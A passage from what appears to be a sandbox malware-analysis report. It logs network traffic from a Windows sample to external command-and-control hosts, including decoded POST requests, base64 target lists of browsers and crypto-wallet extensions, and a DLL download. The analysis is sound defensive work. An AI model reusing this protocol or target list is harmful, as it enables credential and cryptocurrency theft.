Jun 27, 2024 19:27:54.400799036 CEST	49766	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:54.405981064 CEST	80	49766	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:54.406110048 CEST	80	49765	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:54.406207085 CEST	49765	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:54.406207085 CEST	49766	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:54.406302929 CEST	49766	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:54.411190987 CEST	80	49766	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:55.108720064 CEST	80	49766	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:55.108839035 CEST	49766	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:55.109499931 CEST	49766	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:55.114655972 CEST	80	49766	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:55.335685968 CEST	80	49766	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:55.339773893 CEST	49766	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:55.447537899 CEST	49766	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:55.448035955 CEST	49767	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:55.452837944 CEST	80	49766	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:55.452871084 CEST	80	49767	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:55.452944040 CEST	49766	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:55.453000069 CEST	49767	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:55.453169107 CEST	49767	80	192.168.2.5	77.91.77.82
Jun 27, 2024 19:27:55.458132982 CEST	80	49767	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:56.171627998 CEST	80	49767	77.91.77.82	192.168.2.5
Jun 27, 2024 19:27:56.172245026 CEST	49767	80	192.168.2.5	77.91.77.82

HTTP Request Dependency Graph

85.28.47.4

77.91.77.81

77.91.77.82

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	85.28.47.4	80	6340	C:\Users\user\Desktop\ukuWaeRgPR.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:25:51.797171116 CEST	411	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJE Host: 85.28.47.4 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 36 30 43 39 36 36 38 33 39 32 37 32 30 32 39 37 34 31 31 31 39 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="hwid"660C966839272029741119------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="build"default------GHDAAKJEGCFCAKEBKJJE--
Jun 27, 2024 19:25:52.533092022 CEST	384	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:25:52 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 156 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 44 56 6b 5a 6a 6c 6d 59 6d 4d 33 4f 44 68 6c 4f 44 6b 33 59 57 49 77 4e 7a 4e 68 59 32 49 31 4d 7a 41 78 59 54 6b 34 4d 32 59 31 4e 6a 41 33 5a 44 68 6b 59 32 55 32 5a 6a 51 77 5a 6d 4e 6b 4f 54 59 30 4e 6a 6c 6a 59 54 4a 6a 59 6a 63 31 5a 47 4e 68 4d 47 5a 6c 4e 54 59 79 4d 6d 49 78 66 47 70 69 5a 48 52 68 61 57 70 76 64 6d 64 38 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: MDVkZjlmYmM3ODhlODk3YWIwNzNhY2I1MzAxYTk4M2Y1NjA3ZDhkY2U2ZjQwZmNkOTY0NjljYTJjYjc1ZGNhMGZlNTYyMmIxfGpiZHRhaWpvdmd8ZWltZWhydnpvZC5maWxlfDB8MHwxfDF8MXwxfDF8MXw=
Jun 27, 2024 19:25:52.534531116 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIIIJKFCAAECAKFIEHC Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 2d 2d 0d 0a Data Ascii: ------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="message"browsers------FIIIIJKFCAAECAKFIEHC--
Jun 27, 2024 19:25:52.712308884 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:25:52 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jun 27, 2024 19:25:52.712322950 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jun 27, 2024 19:25:52.719548941 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAAEHDHIIJKECBKEBA Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 2d 2d 0d 0a Data Ascii: ------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="message"plugins------BGDAAEHDHIIJKECBKEBA--
Jun 27, 2024 19:25:52.897542000 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:25:52 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 5416 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jun 27, 2024 19:25:52.897553921 CEST	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Jun 27, 2024 19:25:52.897568941 CEST	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Jun 27, 2024 19:25:52.897579908 CEST	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Jun 27, 2024 19:25:52.897592068 CEST	448	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Jun 27, 2024 19:25:52.897602081 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Jun 27, 2024 19:25:52.897613049 CEST	28	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 77 3d Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHw=
Jun 27, 2024 19:25:52.899172068 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHD Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 62 63 37 38 38 65 38 39 37 61 62 30 37 33 61 63 62 35 33 30 31 61 39 38 33 66 35 36 30 37 64 38 64 63 65 36 66 34 30 66 63 64 39 36 34 36 39 63 61 32 63 62 37 35 64 63 61 30 66 65 35 36 32 32 62 31 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 2d 2d 0d 0a Data Ascii: ------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="message"fplugins------BFIDGDAKFHIEHJKFHDHD--
Jun 27, 2024 19:25:53.078373909 CEST	335	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:25:52 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Jun 27, 2024 19:25:53.111387968 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJDAFBKFIECBGCAKECG Host: 85.28.47.4 Content-Length: 5571 Connection: Keep-Alive Cache-Control: no-cache
Jun 27, 2024 19:25:53.111443043 CEST	5571	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 35 64 66 39 66 Data Ascii: ------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="token"05df9fbc788e897ab073acb5301a983f5607d8dce6f40fcd96469ca2cb75dca0fe5622b1------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Jun 27, 2024 19:25:53.831891060 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:25:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 27, 2024 19:25:54.177572966 CEST	89	OUT	GET /69934896f997d5bb/sqlite3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 27, 2024 19:25:54.353921890 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 17:25:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jun 27, 2024 19:25:54.353939056 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jun 27, 2024 19:25:54.353949070 CEST	448	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
